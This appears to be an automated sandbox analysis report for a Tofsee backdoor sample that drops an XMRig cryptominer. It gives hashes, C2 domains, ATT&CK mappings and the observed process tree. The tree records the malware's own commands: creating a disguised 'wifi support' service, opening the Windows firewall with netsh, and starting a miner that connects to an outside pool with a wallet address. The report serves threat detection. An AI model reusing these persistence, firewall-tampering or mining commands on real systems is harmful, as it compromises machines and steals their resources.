Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-11-2022 16:44

General

  • Target

    395b468922bf4cd6a9b006e27d62cc7ffaeee6d3d81905beecf7794bd7a580a5.exe

  • Size

    146KB

  • MD5

    974086a541c07f398782dc865244d97a

  • SHA1

    e0d50e5173c8cd1307125e7c673c6abca559af92

  • SHA256

    395b468922bf4cd6a9b006e27d62cc7ffaeee6d3d81905beecf7794bd7a580a5

  • SHA512

    6c32e5dfdfee430112437a9d37a8d6864d1cc5e28189b4f94b915469d28519adb437c2147ce734eaa37a2af7b8ac631557105d592a4e70728bbf85e14058af52

  • SSDEEP

    3072:xoDPQ3UNfCyr0y5WFAQJSubEDFg3shsjQLEfWAW9+:s0Ut7r2F1KFUtjQEfWA8+

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\395b468922bf4cd6a9b006e27d62cc7ffaeee6d3d81905beecf7794bd7a580a5.exe
    "C:\Users\Admin\AppData\Local\Temp\395b468922bf4cd6a9b006e27d62cc7ffaeee6d3d81905beecf7794bd7a580a5.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4388
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\eagutcxw\
      2⤵
        PID:5036
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xqnvmfzw.exe" C:\Windows\SysWOW64\eagutcxw\
        2⤵
          PID:3232
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create eagutcxw binPath= "C:\Windows\SysWOW64\eagutcxw\xqnvmfzw.exe /d\"C:\Users\Admin\AppData\Local\Temp\395b468922bf4cd6a9b006e27d62cc7ffaeee6d3d81905beecf7794bd7a580a5.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4528
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description eagutcxw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4552
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start eagutcxw
          2⤵
          • Launches sc.exe
          PID:4420
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4488
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4388 -s 892
          2⤵
          • Program crash
          PID:4792
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 4388 -ip 4388
        1⤵
          PID:4416
        • C:\Windows\SysWOW64\eagutcxw\xqnvmfzw.exe
          C:\Windows\SysWOW64\eagutcxw\xqnvmfzw.exe /d"C:\Users\Admin\AppData\Local\Temp\395b468922bf4cd6a9b006e27d62cc7ffaeee6d3d81905beecf7794bd7a580a5.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:4820
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:1544
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2124
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4820 -s 524
            2⤵
            • Program crash
            PID:4964
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 4820 -ip 4820
          1⤵
            PID:2040

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\xqnvmfzw.exe
            Filesize

            10.5MB

            MD5

            f8e98798729cbff2a7040d5758af2767

            SHA1

            c005630861188a1cb9f3d4dc8aaaade545ae08d8

            SHA256

            0d034770f033ceb9c3b94ef3e4c1db1de24420b81e110ca226677815d3cac902

            SHA512

            f53ec7787b91ae390695e05417ed602db96ce7422fb9f266ab5ee8f6116907c78f556bc5b9afc6b8ae510ac674ac25d2cc1030c2dd29529617437d229451b381

          • C:\Windows\SysWOW64\eagutcxw\xqnvmfzw.exe
            Filesize

            10.5MB

            MD5

            f8e98798729cbff2a7040d5758af2767

            SHA1

            c005630861188a1cb9f3d4dc8aaaade545ae08d8

            SHA256

            0d034770f033ceb9c3b94ef3e4c1db1de24420b81e110ca226677815d3cac902

            SHA512

            f53ec7787b91ae390695e05417ed602db96ce7422fb9f266ab5ee8f6116907c78f556bc5b9afc6b8ae510ac674ac25d2cc1030c2dd29529617437d229451b381

          • memory/1544-160-0x0000000000890000-0x00000000008A0000-memory.dmp
            Filesize

            64KB

          • memory/1544-153-0x0000000000140000-0x0000000000155000-memory.dmp
            Filesize

            84KB

          • memory/1544-147-0x0000000000140000-0x0000000000155000-memory.dmp
            Filesize

            84KB

          • memory/1544-166-0x0000000006F00000-0x000000000730B000-memory.dmp
            Filesize

            4.0MB

          • memory/1544-146-0x0000000000000000-mapping.dmp
          • memory/1544-152-0x0000000000140000-0x0000000000155000-memory.dmp
            Filesize

            84KB

          • memory/1544-169-0x00000000017F0000-0x00000000017F7000-memory.dmp
            Filesize

            28KB

          • memory/1544-163-0x00000000017E0000-0x00000000017E5000-memory.dmp
            Filesize

            20KB

          • memory/1544-157-0x0000000000880000-0x0000000000886000-memory.dmp
            Filesize

            24KB

          • memory/1544-154-0x0000000002000000-0x000000000220F000-memory.dmp
            Filesize

            2.1MB

          • memory/2124-174-0x0000000000420000-0x0000000000511000-memory.dmp
            Filesize

            964KB

          • memory/2124-173-0x0000000000421000-0x00000000004F2000-memory.dmp
            Filesize

            836KB

          • memory/2124-178-0x0000000000420000-0x0000000000511000-memory.dmp
            Filesize

            964KB

          • memory/2124-172-0x0000000000000000-mapping.dmp
          • memory/3232-137-0x0000000000000000-mapping.dmp
          • memory/4388-133-0x0000000000460000-0x0000000000560000-memory.dmp
            Filesize

            1024KB

          • memory/4388-134-0x0000000002050000-0x0000000002063000-memory.dmp
            Filesize

            76KB

          • memory/4388-144-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/4388-143-0x0000000002050000-0x0000000002063000-memory.dmp
            Filesize

            76KB

          • memory/4388-135-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/4420-141-0x0000000000000000-mapping.dmp
          • memory/4488-142-0x0000000000000000-mapping.dmp
          • memory/4528-139-0x0000000000000000-mapping.dmp
          • memory/4552-140-0x0000000000000000-mapping.dmp
          • memory/4820-151-0x0000000000400000-0x000000000045B000-memory.dmp
            Filesize

            364KB

          • memory/4820-150-0x0000000000679000-0x0000000000689000-memory.dmp
            Filesize

            64KB

          • memory/5036-136-0x0000000000000000-mapping.dmp